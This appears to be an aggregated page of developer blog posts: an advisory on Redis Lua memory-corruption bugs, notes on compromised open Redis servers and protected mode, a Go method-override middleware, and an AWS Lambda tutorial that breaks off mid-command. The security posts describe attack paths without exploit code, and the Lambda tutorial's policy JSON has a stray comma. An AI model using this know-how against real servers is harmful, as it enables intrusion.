  A bit more than one month ago I received an email from the Apple Information Security team. During an auditing the Apple team found a security issue in the Redis Lua subsystem, specifically in the cmsgpack library. The library is not part of Lua itself, it is an implementation of MessagePack I wrote myself. In the course of merging a pull request improving the feature set, a security issue was added. Later the same team found a new issue in the Lua struct library, again such library was not part of Lua itself, at least in the release of Lua we use: we just embedded the source code inside our Lua implementation in order to provide some functionality to the Lua interpreter that is available to Redis users. Then I found another issue in the same struct package, and later the Alibaba team found many other issues in cmsgpack and other code paths using the Lua API. In a short amount of time I was sitting on a pile of Lua related vulnerabilities. Those vulnerabilities are mostly relevant in the specific case of providing managed Redis severs on the cloud, because it is very unlikely that the vulnerabilities discovered can be used without direct access to the Redis server: many Redis users don’t use the cmsgpack or the struct package at all, and who does will very unlikely feed them with untrusted input. However for cloud providers things are different: they have Redis instances, sometimes in multi tenancy setups, exposed to the user that subscribed for the service. She or he can send anything to such Redis instances, triggering the vulnerabilities, corrupting the memory, violating the Redis process, and potentially taking total control of the Redis process. For instance this simple Python program can crash Redis using one of the cmsgpack vunlerabilities [1]. [1] https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a However from the point of view of normal Redis users that control what is sent to their instances, the risk is limited to feeding untrusted data to a function like struct.unpack(), after selecting a particularly dangerous decoding format “bc0” in the format argument. # Coordinating the advisory Thanks to the cooperation and friendly communications between the Apple Information Security team, me, and the Redis cloud providers, I tried to coordinate the release of the vulnerability after contacting all the major Redis providers out there, so that they could patch their systems before the bug was published. I provided a single patch, so that the providers could easily apply it to their systems. Finally between yesterday and today I prepared new patch releases of Redis 3, 4 and 5, with the security fixes included. They are all already released if you are reading this blog post. Unfortunately I was not able to contact smaller or newer cloud providers. The effort to handle the communication with Redis Labs, Amazon, Alibaba, Microsoft, Google, Heroku, Open Redis and Redis Green was already massive, and the risk of leaks extending the information sharing with other subjects even higher (every company included many persons handling the process). I’m sorry if you are a Redis provider finding about this vulnerability just today, I tried to do my best. I want to say thank you to the Apple Information Security team and all the other providers for the hints and help about this issue. # The problem with Lua Honestly when the Redis Lua engine was designed, it was not conceived with this security model of the customer VS the cloud provider in mind. The assumption kinda was that you can trust who pokes with your Redis server. So in general the Lua libraries were not scrutinized for security. The feeling back then was, if you have access to Redis API, anyway you can do far worse. However later things evolved, and cloud providers restricted the API of Redis to expose to their customers, so that it was possible to provide managed Redis instances. However while things like the CONFIG or DEBUG commands were denied, you can’t really avoid exposing EVAL and EVALSHA. The Redis Lua scripting is one of the top used features in our community. So gradually, without me really noticing, the Lua libraries became also an attack vector in a security model that should instead be handled by Redis, because of the changing system in the way Redis is exposed and provided to the final user. As I said, in this model more than the Redis user, is the managed Redis “cloud” provider to be affected, but regardless it is a problem that must be handled. What we can do in order to improve the current state of cloud providers security, regarding the specific problem with Lua scripting? I identified a few things that I want to do in the next months. 1. Lua stack protection. It looks like Lua can be compiled, with some speed penalty, in a way that ensures that it is not possible to misuse the Lua stack API. To be fair, I think that the assumptions Lua makes about the stack are a bit too trivial, with the Lua library developer having to constantly check if there is enough space on the stack to push a new value. Other languages at the same level of abstraction have C APIs that don’t have this problem. So I’ll try to understand if the slowdown of applying more safeguards in the Lua low level C API is acceptable, and in that case, implement it. 2. Security auditing and fuzz testing. Even if my time was limited I already performed some fuzz testing in the Lua struct library. I’ll continue with an activity that will check for other bugs in this area. I’m sure there are much more issues, and the fact that we found just a given set of bugs is only due to the fact that there was no more time to investigate the scripting subsystem. So this is an important activity that is going to be performed. Again at the end of the activity, I’ll coordinate with the Redis vendors so that they could patch in time. 3. From the point of view of the Redis user, it is important that when some untrusted data is sent to the Lua engine, an HMAC is used in order to ensure that the data was not modified. For instance there is a popular pattern where the state of an user is stored in the user cookie itself, to be later decoded. Such data may later be used as input for Redis Lua functions. This is an example where an HMAC is absolutely needed in order to make sure that we read what we previously stored. 4. More Lua sandboxing. There should be plenty of literature and good practices about this topic. We already have some sandboxing implemented, but my feeling from my security days, is that sandboxing is ultimately always a mouse and cat game, and can never be executed in a perfect way. CPU / memory abuses for example may be too complex to track for the goals of Redis. However we should at least be sure that violations may result in a “graceful” abort without any memory content violation issue. 5. Maybe it’s time to upgrade the Lua engine? I’m not sure if newer versions of Lua are more advanced from the point of view of security, however we have the huge problem that upgrading Lua will result in old script potentially no longer working. A very big issue for the Redis community, especially since, for the kind of scripts Redis users normally develop, a more advanced Lua version is only marginally useful. # The issues The problems fixed are listed in the following commits: ce17f76b Security: fix redis-cli buffer overflow. e89086e0 Security: fix Lua struct package offset handling. 5ccb6f7a Security: more cmsgpack fixes by @soloestoy. 1eb08bcd Security: update Lua struct package for security. 52a00201 Security: fix Lua cmsgpack library stack overflow. The first commit is unrelated to this effort, and is a redis-cli buffer overflow that can be exploited only passing a long host argument in the command line. The other issues are the problems that we found on cmsgpack and the struct package. The two scripts to reproduce the issues are the following: https://gist.github.com/antirez/82445fcbea6d9b19f97014cc6cc79f8a and https://gist.github.com/antirez/bca0ad7a9c60c72e9600c7f720e9d035 Both authored by the Apple Information Security team. However the first was modified by me in order to make it more reliably causing the crash. # Versions affected Basically every Redis with Lua scripting is affected. The fixes are available as the following Github tags: 3.2.12 4.0.10 5.0-rc2 The stable release (4.0.10) is also available at http://download.redis.io as usually. Releases tarball hashes are available here: https://github.com/antirez/redis-hashes Please note that the versions released also include different other bugfixes, so it’s a good idea to also read the release notes to know what other things you are upgrading by switching to the new version. I hope to be back with a blog post in the future with the report of the security auditing that is planned for the Lua scripting subsystem in Redis. Comments

• Clarifications on the Incapsula Redis security report
  Antirez · Jun 02, 2018

  A few days ago I started my day with my Twitter feed full of articles saying something like: “75% of Redis servers infected by malware”. The obvious misquote referred to a research by Incapsula where they found that 75% of the Redis instances left open on the internet, without any protection, on a public IP address, are infected [1]. [1] https://www.incapsula.com/blog/report-75-of-open-redis-servers-are-infected.html Many folks don’t need any clarification about all this, because if you have some grip on computer security and how Redis works, you can contextualize all this without much efforts. However I’m writing this blog post for two reasons. The obvious one is that it can help the press and other users that are not much into security and/or Redis to understand what’s going on. The second is that the exposed Redis instances are a case study about safe defaults that should be interesting for the security circles. The Incapsula report === Let’s start with the Incapsula report. What they did was to analyze exposed Redis instances on the internet. Instances that everybody from any place of the internet can access, because they are listening for connections in a public IP address, without any password protecting them. It is like if they were HTTP servers, but it’s Redis instead, that is not designed to be left exposed. This is far from a new story. Because of Redis popularity the number of total Redis installations is pretty huge, and a fraction of these installations are left exposed. It’s like that since the start basically. People spin a virtual machine in some cloud provider, install Redis, find that they cannot access it, open the port of the VM to anyone, and the instance is at this point running unprotected. They only thing that changed is that most of those instances in the past were left running unaffected in many cases. Maybe some script kiddie could connect and call “INFO” or a few more commands to check what there was inside, and that was it most of the times. Now the new crypto mining obsession is providing attackers a very good reason to break into other people’s systems. Actually the best of the reasons: money. So the same exposed instances are now cracked in order to install some software to mine some kind of crypto currency. Incapsula checked the percentage of instances that look violated. The way they collected the kind of attacks used against Redis instances was by running, on purpose, a set of exposed instances, to monitor how the attackers could target them. Many of the attacks look like variations on my own example attack [2]. [2] http://antirez.com/news/96 Also it is worth to note that to scan the IPv4 address space in order to find exposed instances of any kind of service is trivial. You could use, for instance, masscan. However you could do that 20 years ago using my own hping, and I remember doing this back then with success indeed. TLDR: there are open Redis instances on the internet because they are misconfigured. Attackers profit from them by installing some kind of mining software, or for other reasons. But there is more… keep reading. Protected mode =========== Security is a terrible field in my opinion. I worked in such field, and decided to go away once it started to be no longer an underground affair. People are very opinionated about security issues, while, at the same time, there is little real care about, for instance, performing security auditings on real world systems (something that Google project zero is changing a bit, btw). So after receiving for the Nth time some PGP encrypted email saying that Redis was vulnerable to a temp file creation attack, I wrote the blog post at [2], just to tell: “maybe you are missing the point of Redis security”. I basically published an attack against my own system that I could find in a few minutes of research, and that was very serious. The message was, again, Redis is not designed to be left exposed. And if you really want to play hack3rzzz look, there are more interesting things to do. However by doing that I put on the hands of script kiddies a great weapon to break into thousands of Redis instances open everywhere. In order to pay back from my fault, in an attempt to atone my sin, I started to think about what I could do to make the situation simpler. One problem of Redis 3.x was that by default it would listen to all the IP addresses, so it was simple to misconfigure: just open the port, or have no firewalling at all, and the instance is exposed. The security mantra about that was “run with safe defaults”. That is, in the case of Redis, a networked cache, to have a default configuration that basically more or less does not work for most real world users out of the box. And what was worse, people that don’t have a clue would just “bind *” to fix the problem, and we are back at the initial condition. So I tried to find something a bit smarter, a feature that I named “protected mode”, with great disappointment of a group of 386 processors that manifested in front of my houses for days. The idea of protected mode is to listen to every address, but if the connection is not local, the server replies with an error explaining *why* it is not working as expected, what to do, and the risks involved in just doing the silly thing of opening the instance to everybody by disabling protected mode. This is an example of how the feature works: $ nc 192.168.1.194 6379 -DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the '--protected-mode no' option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside. The advantage here is that: 1. The user knows what to do in order to fix this situation. It’s much better than “connection refused”. 2. We try to avoid that the user disables protected mode without understanding what is the risk involved, and that there are other solutions (setting a password or binding to certain interfaces). Disillusion ======== So my illusion was that, maybe, it could be more helpful than the safe defaults. But unfortunately you can’t fix the fact that a percentage of users just don’t care, that some don’t even know they are installing Redis, and that it’s there just as a side effect of being a dependency for something else, or is installed by a script, or is included in the ABI image you are running and so forth. Initially by grepping on Shodan it looked like Redis 4.0 protected mode was, actually, helping quite a lot! The open instances I could find replied “-DENIED” for the most part. That was great. However after the publication of [1] I asked Shodan (btw they rock and were super helpful on Twitter) if I could have the version breakdown of the exposed Redis instances. And the result is, there are still tons of Redis 4.0 instances exposed [3]. [3] https://asciinema.org/a/8heQvivQkFmUrisbb9FQLfMBj It is true that they are less than the 3.0 instances, but they are still a lot. By investigating more I was even told that there are VM images where Redis protected mode is *removed* by the installation script by default, since sometimes people are annoyed by security features. They want things to just work over the network out of the box, so this is what they do, remove the annoyance. Then such image becomes popular, and many folks install it without knowing what’s going on, and when Redis 4 is installed protected mode is off and the instance is exposed. I think this is a lesson about safe defaults that can be trivially disabled by users. It looks like that in some way they could help, but just in reducing by some percentage the number of incidents, not to make them a rare exception. What’s next? ========= One of the fundamental problems in the Redis security model is that the server can be reconfigured via the normal API, using special commands like the CONFIG command. This is a very valuable feature of Redis, but it makes much simpler to break into the instance once you have access to the Redis API, and normal applications using Redis don’t need this level of access. So in the course of Redis 6, what will happen is that we’ll introduce ACLs. Again, the way this feature will be introduced will try to be a “no pain” experience for existing users. If you connect without any credential, Redis will log in the client automatically using the “default” user, that can do everything applications normally do, but will deny all the administrative commands. Of course it will be possible to make it more strict by configuring things differently, create new users that can only call certain commands on keys matching a given pattern, and so forth. In the course of Redis 6 we plan to also merge support for SSL connections, while this is unlikely to have any impact on the issue discussed here, because by default Redis will run unencrypted and the feature will be opt-in, however SSL is also one step forward for a more secure Redis experience in certain environments. However my hopes are on ACLs, because it looks unlikely that the casual user will make the default account able to run the administrative commands. Especially because we plan to log connections originating from the local host as the “admin” user directly. If this goes as I hope, we’ll continue to see Redis 6 instances exposed, because it is inevitable, but at least those Redis 6 instances should make it harder to compromise the whole system. At least in theory: Redis EVAL command allows execution of Lua scripts, and such feature should be allowed by default since is a fundamental Redis feature. We try to have a kinda sandboxed Lua execution environment, but if you followed IT security for some time, you know that sandboxes are always imperfect, and more an exercise in finding how to escape them than a sealing solution. This time however I’ll avoid publishing an attack just to make a point. Comments

• HTTP Method spoofing in Go
  Alex Edwards · May 10, 2018

  A.K.A. HTTP method overriding. As a web developer you probably already know that HTML forms only support the GET and POST HTTP methods. If you want to send a PUT, PATCH or DELETE request you need to resort to either sending a XMLHttpRequest from JavaScript (where they are supported by most major browsers) or implement a workaround in your server-side application code to support 'spoofed' HTTP methods. The de-facto workaround — which you might be familiar with if you've used frameworks like Ruby on Rails, Laravel or Express — is to include a hidden _method input in your form containing the spoofed HTTP method. A bit like this: Submit Another common workaround is to send a spoofed HTTP method in a X-HTTP-Method-Override header. So how can we support these things in a Go application? MethodOverride Middleware Intercepting and dealing with spoofed HTTP methods is the perfect task for some custom middleware. We want the middleware to: Intercept POST requests before they reach any application handlers. Check for a spoofed HTTP method, either in a _method parameter of the request body or a X-HTTP-Method-Override header. If a spoofed method exists — and is equal to "PUT", "PATCH" or "DELETE" — the current http.Request.Method value should be updated accordingly. It's pretty quick to implement: package main import ( "net/http" ) func MethodOverride(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Only act on POST requests. if r.Method == "POST" { // Look in the request body and headers for a spoofed method. // Prefer the value in the request body if they conflict. method := r.PostFormValue("_method") if method == "" { method = r.Header.Get("X-HTTP-Method-Override") } // Check that the spoofed method is a valid HTTP method and // update the request object accordingly. if method == "PUT" || method == "PATCH" || method == "DELETE" { r.Method = method } } // Call the next handler in the chain. next.ServeHTTP(w, r) }) } You can then use the middleware in your application like so: package main import ( "html/template" "io" "log" "net/http" ) const form = ` Example field Submit ` func main() { mux := http.NewServeMux() mux.HandleFunc("/", formHandler) // Wrap the servemux with the MethodOverride middleware. err := http.ListenAndServe(":4000", MethodOverride(mux)) log.Print(err) } func formHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { case "GET": t, err := template.New("form").Parse(form) if err != nil { http.Error(w, err.Error(), 500) } t.Execute(w, nil) case "PUT": io.WriteString(w, "This is a PUT request") default: http.Error(w, http.StatusText(405), 405) } }

• How to build a Serverless API with Go and AWS Lambda
  Alex Edwards · Apr 10, 2018

  Earlier this year AWS announced that their Lambda service would now be providing first-class support for the Go language, which is a great step forward for any gophers (like myself) who fancy experimenting with serverless technology. So in this post I'm going to talk through how to create a HTTPS API backed by AWS Lambda, building it up step-by-step. I found there to be quite a few gotchas in the process — especially if you're not familiar the AWS permissions system — and some rough edges in the way that Lamdba interfaces with the other AWS services. But once you get your head around these it works pretty well. There's a lot of content to cover in this tutorial, so I've broken it down into the following seven steps: Setting up the AWS CLI Creating and deploying an Lambda function Hooking it up to DynamoDB Setting up the HTTPS API Working with events Deploying the API Supporting multiple actions Throughout this post we'll work towards building an API with two actions: MethodPathAction GET/books?isbn=xxxDisplay information about a book with a specific ISBN POST/booksCreate a new book Where a book is a basic JSON record which looks like this: {"isbn":"978-1420931693","title":"The Republic","author":"Plato"} I'm keeping the API deliberately simple to avoid getting bogged-down in application-specific code, but once you've grasped the basics it's fairly clear how to extend the API to support additional routes and actions. Setting up the AWS CLI Throughout this tutorial we'll use the AWS CLI (command line interface) to configure our lambda functions and other AWS services. Installation and basic usage instructions can be found here, but if you’re using a Debian-based system like Ubuntu you can install the CLI with apt and run it using the aws command: $ sudo apt install awscli $ aws --version aws-cli/1.11.139 Python/3.6.3 Linux/4.13.0-37-generic botocore/1.6.6 Next we need to set up an AWS IAM user with programmatic access permission for the CLI to use. A guide on how to do this can be found here. For testing purposes you can attach the all-powerful AdministratorAccess managed policy to this user, but in practice I would recommend using a more restrictive policy. At the end of setting up the user you'll be given a access key ID and secret access key. Make a note of these — you’ll need them in the next step. Configure the CLI to use the credentials of the IAM user you've just created using the configure command. You’ll also need to specify the default region and output format you want the CLI to use. $ aws configure AWS Access Key ID [None]: access-key-ID AWS Secret Access Key [None]: secret-access-key Default region name [None]: us-east-1 Default output format [None]: json (Throughout this tutorial I'll assume you're using the us-east-1 region — you'll need to change the code snippets accordingly if you're using a different region.) Creating and deploying an Lambda function Now for the exciting part: making a lambda function. If you're following along, go to your $GOPATH/src folder and create a books repository containing a main.go file. $ cd ~/go/src $ mkdir books && cd books $ touch main.go Next you'll need to install the github.com/aws-lambda-go/lambda package. This provides the essential libraries and types we need for creating a lambda function in Go. $ go get github.com/aws/aws-lambda-go/lambda Then open up the main.go file and add the following code: File: books/main.gopackage main import ( "github.com/aws/aws-lambda-go/lambda" ) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func show() (*book, error) { bk := &book{ ISBN: "978-1420931693", Title: "The Republic", Author: "Plato", } return bk, nil } func main() { lambda.Start(show) } In the main() function we call lambda.Start() and pass in the show function as the lambda handler. In this case the handler simply initializes and returns a new book object. Lamdba handlers can take a variety of different signatures and reflection is used to determine exactly which signature you're using. The full list of supported forms is… func() func() error func(TIn) error func() (TOut, error) func(TIn) (TOut, error) func(context.Context) error func(context.Context, TIn) error func(context.Context) (TOut, error) func(context.Context, TIn) (TOut, error) … where the TIn and TOut parameters are objects that can be marshaled (and unmarshalled) by Go's encoding/json package. The next step is to build an executable from the books package using go build. In the code snippet below I'm using the -o flag to save the executable to /tmp/main but you can save it to any location (and name it whatever) you wish. $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books Important: as part of this command we're using env to temporarily set two environment variables for the duration for the command (GOOS=linux and GOARCH=amd64). These instruct the Go compiler to create an executable suitable for use with a linux OS and amd64 architecture — which is what it will be running on when we deploy it to AWS. AWS requires us to upload our lambda functions in a zip file, so let's make a main.zip zip file containing the executable we just made: $ zip -j /tmp/main.zip /tmp/main Note that the executable must be in the root of the zip file — not in a folder within the zip file. To ensure this I've used the -j flag in the snippet above to junk directory names. The next step is a bit awkward, but critical to getting our lambda function working properly. We need to set up an IAM role which defines the permission that our lambda function will have when it is running. For now let's set up a lambda-books-executor role and attach the AWSLambdaBasicExecutionRole managed policy to it. This will give our lambda function the basic permissions it need to run and log to the AWS cloudwatch service. First we have to create a trust policy JSON file. This will essentially instruct AWS to allow lambda services to assume the lambda-books-executor role: File: /tmp/trust-policy.json{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } Then use the aws iam create-role command to create the role with this trust policy: $ aws iam create-role --role-name lambda-books-executor \ --assume-role-policy-document file:///tmp/trust-policy.json { "Role": { "Path": "/", "RoleName": "lambda-books-executor", "RoleId": "AROAIWSQS2RVEWIMIHOR2", "Arn": "arn:aws:iam::account-id:role/lambda-books-executor", "CreateDate": "2018-04-05T10:22:32.567Z", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } } } Make a note of the returned ARN (Amazon Resource Name) — you'll need this in the next step. Now the lambda-books-executor role has been created we need to specify the permissions that the role has. The easiest way to do this it to use the aws iam attach-role-policy command, passing in the ARN of AWSLambdaBasicExecutionRole permission policy like so: $ aws iam attach-role-policy --role-name lambda-books-executor \ --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole Note: you can find a list of other permission policies that might be useful here. Now we're ready to actually deploy the lambda function to AWS, which we can do using the aws lambda create-function command. This takes the following flags and can take a minute or two to run. --function-name Thethat name your lambda function will be called within AWS --runtime The runtime environment for the lambda function (in our case "go1.x") --role The ARN of the role you want the lambda function to assume when it is running (from step 6 above) --handler The name of the executable in the root of the zip file --zip-file Path to the zip file Go ahead and try deploying it: $ aws lambda create-function --function-name books --runtime go1.x \ --role arn:aws:iam::account-id:role/lambda-books-executor \ --handler main --zip-file fileb:///tmp/main.zip { "FunctionName": "books", "FunctionArn": "arn:aws:lambda:us-east-1:account-id:function:books", "Runtime": "go1.x", "Role": "arn:aws:iam::account-id:role/lambda-books-executor", "Handler": "main", "CodeSize": 2791699, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2018-04-05T10:25:05.343+0000", "CodeSha256": "O20RZcdJTVcpEiJiEwGL2bX1PtJ/GcdkusIEyeO9l+8=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" } } So there it is. Our lambda function has been deployed and is now ready to use. You can try it out by using the aws lambda invoke command (which requires you to specify an output file for the response — I've used /tmp/output.json in the snippet below). $ aws lambda invoke --function-name books /tmp/output.json { "StatusCode": 200 } $ cat /tmp/output.json {"isbn":"978-1420931693","title":"The Republic","author":"Plato"} If you're following along hopefully you've got the same response. Notice how the book object we initialized in our Go code has been automatically marshaled to JSON? Hooking it up to DynamoDB In this section we're going to add a persistence layer for our data which can be accessed by our lambda function. For this I'll use Amazon DynamoDB (it integrates nicely with AWS lambda and has a generous free-usage tier). If you're not familiar with DynamoDB, there's a decent run down of the basics here. The first thing we need to do is create a Books table to hold the book records. DynanmoDB is schema-less, but we do need to define the partion key (a bit like a primary key) on the ISBN field. We can do this in one command like so: $ aws dynamodb create-table --table-name Books \ --attribute-definitions AttributeName=ISBN,AttributeType=S \ --key-schema AttributeName=ISBN,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 { "TableDescription": { "AttributeDefinitions": [ { "AttributeName": "ISBN", "AttributeType": "S" } ], "TableName": "Books", "KeySchema": [ { "AttributeName": "ISBN", "KeyType": "HASH" } ], "TableStatus": "CREATING", "CreationDateTime": 1522924177.507, "ProvisionedThroughput": { "NumberOfDecreasesToday": 0, "ReadCapacityUnits": 5, "WriteCapacityUnits": 5 }, "TableSizeBytes": 0, "ItemCount": 0, "TableArn": "arn:aws:dynamodb:us-east-1:account-id:table/Books" } } Then lets add a couple of items using the put-item command, which we'll use in the next steps. $ aws dynamodb put-item --table-name Books --item '{"ISBN": {"S": "978-1420931693"}, "Title": {"S": "The Republic"}, "Author": {"S": "Plato"}}' $ aws dynamodb put-item --table-name Books --item '{"ISBN": {"S": "978-0486298238"}, "Title": {"S": "Meditations"}, "Author": {"S": "Marcus Aurelius"}}' The next thing to do is update our Go code so that our lambda handler can connect to and use the DynamoDB layer. For this you'll need to install the github.com/aws/aws-sdk-go package which provides libraries for working with DynamoDB (and other AWS services). $ go get github.com/aws/aws-sdk-go Now for the code. To keep a bit of separation create a new db.go file in your books repository: $ touch ~/go/src/books/db.go And add the following code: File: books/db.gopackage main import ( "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/session" "github.com/aws/aws-sdk-go/service/dynamodb" "github.com/aws/aws-sdk-go/service/dynamodb/dynamodbattribute" ) // Declare a new DynamoDB instance. Note that this is safe for concurrent // use. var db = dynamodb.New(session.New(), aws.NewConfig().WithRegion("us-east-1")) func getItem(isbn string) (*book, error) { // Prepare the input for the query. input := &dynamodb.GetItemInput{ TableName: aws.String("Books"), Key: map[string]*dynamodb.AttributeValue{ "ISBN": { S: aws.String(isbn), }, }, } // Retrieve the item from DynamoDB. If no matching item is found // return nil. result, err := db.GetItem(input) if err != nil { return nil, err } if result.Item == nil { return nil, nil } // The result.Item object returned has the underlying type // map[string]*AttributeValue. We can use the UnmarshalMap helper // to parse this straight into the fields of a struct. Note: // UnmarshalListOfMaps also exists if you are working with multiple // items. bk := new(book) err = dynamodbattribute.UnmarshalMap(result.Item, bk) if err != nil { return nil, err } return bk, nil } And then update the main.go to use this new code: File: books/main.gopackage main import ( "github.com/aws/aws-lambda-go/lambda" ) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func show() (*book, error) { // Fetch a specific book record from the DynamoDB database. We'll // make this more dynamic in the next section. bk, err := getItem("978-0486298238") if err != nil { return nil, err } return bk, nil } func main() { lambda.Start(show) } Save the files, then rebuild and zip up the lambda function so it's ready to deploy: $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books $ zip -j /tmp/main.zip /tmp/main Re-deploying a lambda function is easier than creating it for the first time — we can use the aws lambda update-function-code command like so: $ aws lambda update-function-code --function-name books \ --zip-file fileb:///tmp/main.zip Let's try executing the lambda function now: $ aws lambda invoke --function-name books /tmp/output.json { "StatusCode": 200, "FunctionError": "Unhandled" } $ cat /tmp/output.json {"errorMessage":"AccessDeniedException: User: arn:aws:sts::account-id:assumed-role/lambda-books-executor/books is not authorized to perform: dynamodb:GetItem on resource: arn:aws:dynamodb:us-east-1:account-id:table/Books\n\tstatus code: 400, request id: 2QSB5UUST6F0R3UDSVVVODTES3VV4KQNSO5AEMVJF66Q9ASUAAJG","errorType":"requestError"} Ah. There's a slight problem. We can see from the output message that our lambda function (specifically, the lambda-books-executor role) doesn't have the necessary permissions to run GetItem on a DynamoDB instance. Let's fix that now. Create a privilege policy file that gives GetItem and PutItem privileges on DynamoDB like so: File: /tmp/privilege-policy.json{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:PutItem", "dynamodb:GetItem", ], "Resource": "*" } ] } And then attach it to the lambda-books-executor role using the aws iam put-role-policy command: $ aws iam put-role-policy --role-name lambda-books-executor \ --policy-name dynamodb-item-crud-role \ --policy-document file:///tmp/privilege-policy.json As a side note, AWS has some managed policies called AWSLambdaDynamoDBExecutionRole and AWSLambdaInvocation-DynamoDB which sound like they would do the trick. But neither of them actually provide GetItem or PutItem privileges. Hence the need to roll our own policy. Let's try executing the lambda function again. It should work smoothly this time and return information about the book with ISBN 978-0486298238. $ aws lambda invoke --function-name books /tmp/output.json { "StatusCode": 200 } $ cat /tmp/output.json {"isbn":"978-0486298238","title":"Meditations","author":"Marcus Aurelius"} Setting up the HTTPS API So our lambda function is now working nicely and communicating with DynamoDB. The next thing to do is set up a way to access the lamdba function over HTTPS, which we can do using the AWS API Gateway service. But before we go any further, it's worth taking a moment to think about the structure of our project. Let's say we have grand plans for our lamdba function to be part of a bigger bookstore API which deals with information about books, customers, recommendations and other things. There's three basic options for structuring this using AWS Lambda: Microservice style — Each lambda function is responsible for one action only. For example, there are 3 separate lambda functions for showing, creating and deleting a book. Service style — Each lambda function is responsible for a group of related actions. For example, one lambda function handles all book-related actions, but customer-related actions are kept in a separate lambda function. Monolith style — One lambda function manages all the bookstore actions. Each of these options is valid, and theres some good discussion of the pros and cons here. For this tutorial we'll opt for a service style, and have one books lambda function handle the different book-related actions. This means that we'll need to implement some form of routing within our lambda function, which I'll cover later in the post. But for now… Go ahead and create a bookstore API using the aws apigateway create-rest-api command like so: $ aws apigateway create-rest-api --name bookstore { "id": "rest-api-id", "name": "bookstore", "createdDate": 1522926250 } Note down the rest-api-id value that this returns, we'll be using it a lot in the next few steps. Next we need to get the id of the root API resource ("/"). We can retrieve this using the aws apigateway get-resources command like so: $ aws apigateway get-resources --rest-api-id rest-api-id { "items": [ { "id": "root-path-id", "path": "/" } ] } Again, keep a note of the root-path-id value this returns. Now we need to create a new resource under the root path — specifically a resource for the URL path /books. We can do this by using the aws apigateway create-resource command with the --path-part parameter like so: $ aws apigateway create-resource --rest-api-id rest-api-id \ --parent-id root-path-id --path-part books { "id": "resource-id", "parentId": "root-path-id", "pathPart": "books", "path": "/books" } Again, note the resource-id this returns, we'll need it in the next step. Note that it's possible to include placeholders within your path by wrapping part of the path in curly braces. For example, a --path-part parameter of books/{id} would match requests to /books/foo and /books/bar, and the value of id would be made available to your lambda function via an events object (which we'll cover later in the post). You can also make a placeholder greedy by postfixing it with a +. A common idiom is to use the parameter --path-part {proxy+} if you want to match all requests regardless of their path. But we're not doing either of those things. Let's get back to our /books resource and use the aws apigateway put-method command to register the HTTP method of ANY. This will mean that our /books resource will respond to all requests regardless of their HTTP method. $ aws apigateway put-method --rest-api-id rest-api-id \ --resource-id resource-id --http-method ANY \ --authorization-type NONE { "httpMethod": "ANY", "authorizationType": "NONE", "apiKeyRequired": false } Now we're all set to integrate the resource with our lambda function, which we can do using the aws apigateway put-integration command. This command has a few parameters that need a quick explanation: The --type parameter should be AWS_PROXY. When this is used the AWS API Gateway will send information about the HTTP request as an 'event' to the lambda function. It will also automatically transform the output from the lambda function to a HTTP response. The --integration-http-method parameter must be POST. Don't confuse this with what HTTP methods your API resource responds to. The --uri parameter needs to take the format: arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/your-lambda-function-arn/invocations With those things in mind, your command should look a bit like this: $ aws apigateway put-integration --rest-api-id rest-api-id \ --resource-id resource-id --http-method ANY --type AWS_PROXY \ --integration-http-method POST \ --uri arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:account-id:function:books/invocations { "type": "AWS_PROXY", "httpMethod": "POST", "uri": "arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:account-id:function:books/invocations", "passthroughBehavior": "WHEN_NO_MATCH", "cacheNamespace": "qtdn5h", "cacheKeyParameters": [] } Alright, let's give this a whirl. We can send a test request to the resource we just made using the aws apigateway test-invoke-method command like so: $ aws apigateway test-invoke-method --rest-api-id rest-api-id --resource-id resource-id --http-method "GET" { "status": 500, "body": "{\"message\": \"Internal server error\"}", "headers": {}, "log": "Execution log for request test-request\nThu Apr 05 11:07:54 UTC 2018 : Starting execution for request: test-invoke-request\nThu Apr 05 11:07:54 UTC 2018 : HTTP Method: GET, Resource Path: /books\nThu Apr 05 11:07:54 UTC 2018 : Method request path: {}[TRUNCATED]Thu Apr 05 11:07:54 UTC 2018 : Sending request to https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/arn:aws:lambda:us-east-1:account-id:function:books/invocations\nThu Apr 05 11:07:54 UTC 2018 : Execution failed due to configuration error: Invalid permissions on Lambda function\nThu Apr 05 11:07:54 UTC 2018 : Method completed with status: 500\n", "latency": 39 } Ah. So that hasn't quite worked. If you take a look through the outputted log information you should see that the problem appears to be: Execution failed due to configuration error: Invalid permissions on Lambda function This is happening because our bookstore API gateway doesn't have permissions to execute our lambda function. The easiest way to fix that is to use the aws lambda add-permission command to give our API permissions to invoke it, like so: $ aws lambda add-permission --function-name books --statement-id a-GUID \ --action 